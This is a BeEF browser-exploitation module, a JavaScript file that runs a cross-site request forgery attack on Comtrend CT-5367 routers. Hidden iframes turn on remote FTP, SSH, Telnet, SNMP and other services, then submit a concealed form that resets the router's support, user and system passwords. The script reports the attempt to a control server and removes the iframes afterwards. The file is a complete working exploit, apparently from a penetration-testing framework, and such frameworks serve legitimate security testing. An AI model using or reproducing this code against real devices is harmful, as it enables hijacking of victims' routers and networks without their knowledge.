Path: blob/master/modules/exploits/router/comtrend_ct5367_csrf/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var gateway = '<%= @base %>';8var passwd = '<%= @password %>';9var timeout = 15;1011var ct5367_iframe1_<%= @command_id %> = beef.dom.createInvisibleIframe();12ct5367_iframe1_<%= @command_id %>.setAttribute('src', gateway+'scsrvcntr.cmd?action=save&ftp=1&ftp=3&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3&telnet=1&telnet=3&tftp=1&tftp=3');1314var ct5367_iframe2_<%= @command_id %> = beef.dom.createInvisibleIframe();1516var form = document.createElement('form');17form.setAttribute('action', gateway + "password.cgi");18form.setAttribute('method', 'post');1920var input = null;2122input = document.createElement('input');23input.setAttribute('type', 'hidden');24input.setAttribute('name', 'sptPassword');25input.setAttribute('value', passwd);26form.appendChild(input);2728input = document.createElement('input');29input.setAttribute('type', 'hidden');30input.setAttribute('name', 'usrPassword');31input.setAttribute('value', passwd);32form.appendChild(input);3334input = document.createElement('input');35input.setAttribute('type', 'hidden');36input.setAttribute('name', 'sysPassword');37input.setAttribute('value', passwd);38form.appendChild(input);3940ct5367_iframe2_<%= @command_id %>.contentWindow.document.body.appendChild(form);41form.submit();4243beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");4445cleanup = function() {46document.body.removeChild(ct5367_iframe1_<%= @command_id %>);47document.body.removeChild(ct5367_iframe2_<%= @command_id %>);48}49setTimeout("cleanup()", timeout*1000);5051});52535455